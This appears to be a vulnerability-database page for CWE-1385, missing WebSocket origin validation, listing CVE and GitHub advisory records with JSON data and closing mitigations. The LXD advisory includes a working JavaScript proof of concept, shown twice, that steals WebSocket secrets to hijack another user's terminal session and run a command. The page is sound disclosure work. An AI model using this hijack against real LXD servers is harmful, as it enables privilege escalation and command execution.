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Common Weakness Enumeration

CWE-1385

Allowed

Missing Origin Validation in WebSockets

Abstraction: Variant · Status: Incomplete

The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid.

69 vulnerabilities reference this CWE, most recent first.

CVE-2023-32264 (GCVE-0-2023-32264)

Vulnerability from cvelistv5 – Published: 2024-03-08 20:48 – Updated: 2024-08-12 20:05
VLAI
Summary
CWE-1385 vulnerability in OpenText Documentum D2 affecting versions16.5.1 to CE 23.2. The vulnerability could allow upload arbitrary code and execute it on the client's computer.
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-03-12 18:17 UTC
CWE
  • CWE-1385 - Missing Origin Validation in WebSockets
Impacted products
Vendor Product Version
OpenText Documentum D2 Affected: 16.5.1 , ≤ CE 23.2 (custom)
Create a notification for this product.
emc documentum_d2 Affected: 16.5.1 , ≤ ce_23.2 (custom)
    cpe:2.3:a:emc:documentum_d2:*:*:*:*:*:*:*:*
Create a notification for this product.
Show details on NVD website

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CVE-2023-30856 (GCVE-0-2023-30856)

Vulnerability from cvelistv5 – Published: 2023-04-28 15:54 – Updated: 2025-01-30 16:52
VLAI
Title
eDEX-UI cross-site websocket hijacking vulnerability enables remote command execution
Summary
eDEX-UI is a science fiction terminal emulator. Versions 2.2.8 and prior are vulnerable to cross-site websocket hijacking. When running eDEX-UI and browsing the web, a malicious website can connect to eDEX's internal terminal control websocket, and send arbitrary commands to the shell. The project has been archived since 2021, and as of time of publication there are no plans to patch this issue and release a new version. Some workarounds are available, including shutting down eDEX-UI when browsing the web and ensuring the eDEX terminal runs with lowest possible privileges.
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-01-30 16:52 UTC
CWE
  • CWE-1385 - Missing Origin Validation in WebSockets
  • CWE-346 - Origin Validation Error
Impacted products
Vendor Product Version
GitSquared edex-ui Affected: <= 2.2.8
Create a notification for this product.
Show details on NVD website

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CVE-2023-2886 (GCVE-0-2023-2886)

Vulnerability from cvelistv5 – Published: 2023-05-25 08:31 – Updated: 2026-05-22 10:47
VLAI
Title
Cross-Site WebSocket Hijacking in CBOT's Chatbot
Summary
Missing Origin Validation in WebSockets vulnerability in CBOT Chatbot allows Content Spoofing Via Application API Manipulation. This issue affects Chatbot: before Core: v4.0.3.4 Panel: v4.0.3.7.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-01-15 21:11 UTC
CWE
  • CWE-1385 - Missing Origin Validation in WebSockets
References
Impacted products
Vendor Product Version
CBOT Chatbot Affected: 0 , < Core: v4.0.3.4 Panel: v4.0.3.7 (custom)
Create a notification for this product.
Date Public
2023-05-25 08:30
Show details on NVD website

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CVE-2014-125071 (GCVE-0-2014-125071)

Vulnerability from cvelistv5 – Published: 2023-01-09 20:45 – Updated: 2024-11-25 16:38
VLAI
Title
lukehutch Gribbit HttpRequestHandler.java messageReceived missing origin validation in websockets
Summary
A vulnerability was found in lukehutch Gribbit. It has been classified as problematic. Affected is the function messageReceived of the file src/gribbit/request/HttpRequestHandler.java. The manipulation leads to missing origin validation in websockets. The name of the patch is 620418df247aebda3dd4be1dda10fe229ea505dd. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217716.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-11-25 16:38 UTC
CWE
  • CWE-1385 - Missing Origin Validation in WebSockets
References
URL Tags
https://vuldb.com/?id.217716 vdb-entrytechnical-description
https://vuldb.com/?ctiid.217716 signaturepermissions-required
https://github.com/lukehutch/gribbit/commit/62041… patch
Impacted products
Vendor Product Version
lukehutch Gribbit Affected: n/a
Create a notification for this product.
Show details on NVD website

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                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-25T16:38:28.333451Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-25T16:38:47.939Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Gribbit",
          "vendor": "lukehutch",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "tool",
          "value": "VulDB GitHub Commit Analyzer"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability was found in lukehutch Gribbit. It has been classified as problematic. Affected is the function messageReceived of the file src/gribbit/request/HttpRequestHandler.java. The manipulation leads to missing origin validation in websockets. The name of the patch is 620418df247aebda3dd4be1dda10fe229ea505dd. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217716."
        },
        {
          "lang": "de",
          "value": "Es wurde eine problematische Schwachstelle in lukehutch Gribbit ausgemacht. Hiervon betroffen ist die Funktion messageReceived der Datei src/gribbit/request/HttpRequestHandler.java. Durch Manipulation mit unbekannten Daten kann eine missing origin validation in websockets-Schwachstelle ausgenutzt werden. Der Patch wird als 620418df247aebda3dd4be1dda10fe229ea505dd bezeichnet. Als bestm\u00f6gliche Massnahme wird Patching empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 5.2,
            "vectorString": "AV:A/AC:L/Au:S/C:P/I:P/A:P",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1385",
              "description": "CWE-1385 Missing Origin Validation in WebSockets",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-10-20T06:39:51.989Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.217716"
        },
        {
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.217716"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/lukehutch/gribbit/commit/620418df247aebda3dd4be1dda10fe229ea505dd"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2023-01-09T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2023-01-09T00:00:00.000Z",
          "value": "CVE reserved"
        },
        {
          "lang": "en",
          "time": "2023-01-09T01:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2023-01-30T15:34:58.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "lukehutch Gribbit HttpRequestHandler.java messageReceived missing origin validation in websockets"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2014-125071",
    "datePublished": "2023-01-09T20:45:48.967Z",
    "dateReserved": "2023-01-09T20:45:30.204Z",
    "dateUpdated": "2024-11-25T16:38:47.939Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-2F92-W7W3-5WXQ

Vulnerability from github – Published: 2023-05-25 09:30 – Updated: 2023-11-02 03:30
VLAI
Details

Missing Origin Validation in WebSockets vulnerability in CBOT Chatbot allows Content Spoofing Via Application API Manipulation.This issue affects Chatbot: before Core: v4.0.3.4 Panel: v4.0.3.7.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-2886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385",
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-25T09:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Missing Origin Validation in WebSockets vulnerability in CBOT Chatbot allows Content Spoofing Via Application API Manipulation.This issue affects Chatbot: before Core: v4.0.3.4 Panel: v4.0.3.7.\n\n",
  "id": "GHSA-2f92-w7w3-5wxq",
  "modified": "2023-11-02T03:30:25Z",
  "published": "2023-05-25T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2886"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-23-0293"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H97-JWW5-MWVC

Vulnerability from github – Published: 2026-07-09 09:30 – Updated: 2026-07-09 15:32
VLAI
Details

Permissive Cross-Origin Resource Sharing (CORS) in the REST API (helix-rest, org.apache.helix.rest.server.filters.CORSFilter) in Apache Helix through 2.0.0 on all platforms allows a remote attacker controlling a web page visited by an authorized user to read responses from and issue cross-origin requests to administrative REST endpoints via a cross-origin request from an arbitrary origin, since the filter unconditionally returns Access-Control-Allow-Origin: * together with Access-Control-Allow-Credentials: true and reflects arbitrary Access-Control-Request-Method / Access-Control-Request-Headers values in preflight responses. Users are recommended to upgrade to version 2.0.1, which fixes this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57111"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-09T08:16:48Z",
    "severity": "HIGH"
  },
  "details": "Permissive Cross-Origin Resource Sharing (CORS) in the REST API (helix-rest, org.apache.helix.rest.server.filters.CORSFilter) in Apache Helix through 2.0.0 on all platforms allows a remote attacker controlling a web page visited by an authorized user to read responses from and issue cross-origin requests to administrative REST endpoints via a cross-origin request from an arbitrary origin, since the filter unconditionally returns Access-Control-Allow-Origin: * together with Access-Control-Allow-Credentials: true and reflects arbitrary Access-Control-Request-Method / Access-Control-Request-Headers values in preflight responses. Users are recommended to upgrade to version 2.0.1, which fixes this issue.",
  "id": "GHSA-2h97-jww5-mwvc",
  "modified": "2026-07-09T15:32:29Z",
  "published": "2026-07-09T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57111"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/wy2yv90lvqzx46vkg35xrtfddffq9cfj"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/08/11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3FQX-3CG9-CHG9

Vulnerability from github – Published: 2026-02-26 09:30 – Updated: 2026-03-12 15:30
VLAI
Details

A missing origin validation in WebSockets vulnerability affects the GraphicalData web services used by the WebVue, WebScheduler, TouchVue and SnapVue features of PcVue in version 12.0.0 through 16.3.3 included. It might allow a remote attacker to lure a successfully authenticated user to a malicious website.

This vulnerability only affects the following two endpoints: GraphicalData/js/signalR/connect and GraphicalData/js/signalR/reconnect.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-26T08:16:18Z",
    "severity": "MODERATE"
  },
  "details": "A missing origin validation in WebSockets vulnerability affects the GraphicalData web services used by the WebVue, WebScheduler, TouchVue and SnapVue features of PcVue in version 12.0.0 through 16.3.3 included. It might allow a remote attacker to lure a successfully authenticated user to a malicious website.\n\nThis vulnerability only affects the following two endpoints: GraphicalData/js/signalR/connect and GraphicalData/js/signalR/reconnect.",
  "id": "GHSA-3fqx-3cg9-chg9",
  "modified": "2026-03-12T15:30:22Z",
  "published": "2026-02-26T09:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1692"
    },
    {
      "type": "WEB",
      "url": "https://www.pcvue.com/security/#SB2026-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:Clear",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3G72-CHJ4-2228

Vulnerability from github – Published: 2025-10-02 21:19 – Updated: 2025-11-05 22:04
VLAI
Summary
Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API
Details

Impact

LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.

Reproduction Steps

  1. Log in to LXD-UI using an account with read-only permissions
  2. Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.

(async () => {
class LXDEventsSession {
constructor(callback) {
this.wsBase =
`wss://${window.location.host}/1.0/events?type=operation&all-p
rojects=true`;
this.eventsConn = new WebSocket(this.wsBase);
this.eventsConn.onopen = (event) => {
console.log('Events conn Opened');
};
this.eventsConn.onmessage = (event) => {
callback(event);
};
}}
class LXDWebSocketSession {
constructor(operationId, secrets) {
this.operationId = operationId;
this.secrets = secrets;
this.wsBase =
`wss://${window.location.host}/1.0/operations/${operationId}/w
ebsocket`;
this.connections = {};
this.connections.data = new
WebSocket(`${this.wsBase}?secret=${this.secrets['0']}`);
this.connections.data.onopen = (event) => {
console.log('Data Opened');
this.connections.data.send(new
TextEncoder().encode('touch /tmp/xxx\r'));
}
this.connections.data.onmessage = (event) => {
console.log('[Data]', event.data);
};
this.connections.control = new
WebSocket(`${this.wsBase}?secret=${this.secrets.control}`);
this.connections.control.onopen = (event) => {
console.log('Control Opened');
}
this.connections.control.onmessage = (event) => {
console.log('[Control]', event.data);
};
}
close() {
Object.values(this.connections).forEach(ws => {
if (ws.readyState === WebSocket.OPEN) {
ws.close();
}
});
}
}
const sessions = [];
new LXDEventsSession( (event) => {
const op = JSON.parse(event.data);
const opId = op.metadata.id;const secrets = op.metadata.metadata.fds;
for(const session of sessions){
if(session.operationId === opId){
return;
}
}
sessions.push(new LXDWebSocketSession(opId, secrets))
});
})();
  1. Have another user (or yourself for testing) start a terminal or console session on an instance At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification.
  2. Refresh the attacker's browser tab to stop event listening
  3. Have the victim reopen their terminal/console session and verify:
$ ls -la /tmp/xxx

Risk

Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.

Countermeasures

As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.

Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.

Patches

LXD Series Status
6 Fixed in LXD 6.5
5.21 Fixed in LXD 5.21.4
5.0 Ignored - Not critical
4.0 Ignored - EOL and not critical

References

Reported by GMO Flatt Security Inc.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "5.21.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0"
            },
            {
              "fixed": "6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20200331193331-03aab09f5b5c"
            },
            {
              "fixed": "0.0.0-20250827065555-0494f5d47e41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-02T21:19:29Z",
    "nvd_published_at": "2025-10-02T10:15:39Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nLXD\u0027s operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.\n\nTherefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim\u0027s privileges.\n\n### Reproduction Steps\n\n1. Log in to LXD-UI using an account with read-only permissions\n2. Open browser DevTools and execute the following JavaScript code\n\nNote that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.\n\n```js\n(async () =\u003e {\nclass LXDEventsSession {\nconstructor(callback) {\nthis.wsBase =\n`wss://${window.location.host}/1.0/events?type=operation\u0026all-p\nrojects=true`;\nthis.eventsConn = new WebSocket(this.wsBase);\nthis.eventsConn.onopen = (event) =\u003e {\nconsole.log(\u0027Events conn Opened\u0027);\n};\nthis.eventsConn.onmessage = (event) =\u003e {\ncallback(event);\n};\n}}\nclass LXDWebSocketSession {\nconstructor(operationId, secrets) {\nthis.operationId = operationId;\nthis.secrets = secrets;\nthis.wsBase =\n`wss://${window.location.host}/1.0/operations/${operationId}/w\nebsocket`;\nthis.connections = {};\nthis.connections.data = new\nWebSocket(`${this.wsBase}?secret=${this.secrets[\u00270\u0027]}`);\nthis.connections.data.onopen = (event) =\u003e {\nconsole.log(\u0027Data Opened\u0027);\nthis.connections.data.send(new\nTextEncoder().encode(\u0027touch /tmp/xxx\\r\u0027));\n}\nthis.connections.data.onmessage = (event) =\u003e {\nconsole.log(\u0027[Data]\u0027, event.data);\n};\nthis.connections.control = new\nWebSocket(`${this.wsBase}?secret=${this.secrets.control}`);\nthis.connections.control.onopen = (event) =\u003e {\nconsole.log(\u0027Control Opened\u0027);\n}\nthis.connections.control.onmessage = (event) =\u003e {\nconsole.log(\u0027[Control]\u0027, event.data);\n};\n}\nclose() {\nObject.values(this.connections).forEach(ws =\u003e {\nif (ws.readyState === WebSocket.OPEN) {\nws.close();\n}\n});\n}\n}\nconst sessions = [];\nnew LXDEventsSession( (event) =\u003e {\nconst op = JSON.parse(event.data);\nconst opId = op.metadata.id;const secrets = op.metadata.metadata.fds;\nfor(const session of sessions){\nif(session.operationId === opId){\nreturn;\n}\n}\nsessions.push(new LXDWebSocketSession(opId, secrets))\n});\n})();\n```\n\n5. Have another user (or yourself for testing) start a terminal or console session on an instance\nAt this time, whoever uses the secret first gains session rights, so it\u0027s recommended to intentionally slow down communication speed using DevTools\u0027 bandwidth throttling feature for verification.\n6. Refresh the attacker\u0027s browser tab to stop event listening\n7. Have the victim reopen their terminal/console session and verify:\n\n```\n$ ls -la /tmp/xxx\n```\n\n### Risk\nAttack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.\n\n### Countermeasures\nAs a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.\n\nSpecifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.\n\n### Patches\n\n| LXD Series  | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5  |\n| 5.21 | Fixed in LXD 5.21.4  |\n| 5.0 | Ignored - Not critical |\n| 4.0  | Ignored - EOL and not critical |\n\n### References\nReported by GMO Flatt Security Inc.",
  "id": "GHSA-3g72-chj4-2228",
  "modified": "2025-11-05T22:04:18Z",
  "published": "2025-10-02T21:19:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-3g72-chj4-2228"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54289"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/canonical/lxd"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3999"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API"
}

GHSA-3H52-269P-CP9R

Vulnerability from github – Published: 2025-05-28 21:52 – Updated: 2025-06-13 14:41
VLAI
Summary
Information exposure in Next.js dev server due to lack of origin verification
Details

Summary

A low-severity vulnerability in Next.js has been fixed in version 15.2.2. This issue may have allowed limited source code exposure when the dev server was running with the App Router enabled. The vulnerability only affects local development environments and requires the user to visit a malicious webpage while npm run dev is active.

Because the mitigation is potentially a breaking change for some development setups, to opt-in to the fix, you must configure allowedDevOrigins in your next config after upgrading to a patched version. Learn more.

Learn more: https://vercel.com/changelog/cve-2025-48068

Credit

Thanks to sapphi-red and Radman Siddiki for responsibly disclosing this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.0"
            },
            {
              "fixed": "15.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0"
            },
            {
              "fixed": "14.2.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-28T21:52:13Z",
    "nvd_published_at": "2025-05-30T04:15:48Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nA low-severity vulnerability in **Next.js** has been fixed in **version 15.2.2**. This issue may have allowed limited source code exposure when the dev server was running with the App Router enabled. The vulnerability only affects local development environments and requires the user to visit a malicious webpage while `npm run dev` is active.\n\nBecause the mitigation is potentially a breaking change for some development setups, to opt-in to the fix, you must configure `allowedDevOrigins` in your next config after upgrading to a patched version. [Learn more](https://nextjs.org/docs/app/api-reference/config/next-config-js/allowedDevOrigins).\n\nLearn more: https://vercel.com/changelog/cve-2025-48068\n\n## Credit\n\nThanks to [sapphi-red](https://github.com/sapphi-red) and [Radman Siddiki](https://github.com/R4356th) for responsibly disclosing this issue.",
  "id": "GHSA-3h52-269p-cp9r",
  "modified": "2025-06-13T14:41:21Z",
  "published": "2025-05-28T21:52:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/security/advisories/GHSA-3h52-269p-cp9r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48068"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vercel/next.js"
    },
    {
      "type": "WEB",
      "url": "https://vercel.com/changelog/cve-2025-48068"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Information exposure in Next.js dev server due to lack of origin verification"
}

GHSA-3Q9P-96FP-F2W2

Vulnerability from github – Published: 2024-03-08 21:31 – Updated: 2024-03-08 21:31
VLAI
Details

CWE-1385 vulnerability in OpenText Documentum D2 affecting versions16.5.1 to CE 23.2. The vulnerability could allow upload arbitrary code and execute it on the client's computer.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-32264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-08T21:15:06Z",
    "severity": "MODERATE"
  },
  "details": "CWE-1385 vulnerability in OpenText Documentum D2 affecting versions16.5.1 to CE 23.2. The vulnerability\u00a0could allow upload arbitrary code and execute it on the client\u0027s computer.\n\n\n",
  "id": "GHSA-3q9p-96fp-f2w2",
  "modified": "2024-03-08T21:31:30Z",
  "published": "2024-03-08T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32264"
    },
    {
      "type": "WEB",
      "url": "https://support.opentext.com/csm?id=kb_article_view\u0026sysparm_article=KB0799355"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

Enable CORS-like access restrictions by verifying the 'Origin' header during the WebSocket handshake.

Mitigation
Implementation

Use a randomized CSRF token to verify requests.

Mitigation
Implementation

Use TLS to securely communicate using 'wss' (WebSocket Secure) instead of 'ws'.

Mitigation
Architecture and Design Implementation

Require user authentication prior to the WebSocket connection being established. For example, the WS library in Node has a 'verifyClient' function.

Mitigation
Implementation

Leverage rate limiting to prevent against DoS. Use of the leaky bucket algorithm can help with this.

Mitigation
Implementation

Use a library that provides restriction of the payload size. For example, WS library for Node includes 'maxPayloadoption' that can be set.

Mitigation
Implementation

Treat data/input as untrusted in both directions and apply the same data/input sanitization as XSS, SQLi, etc.

No CAPEC attack patterns related to this CWE.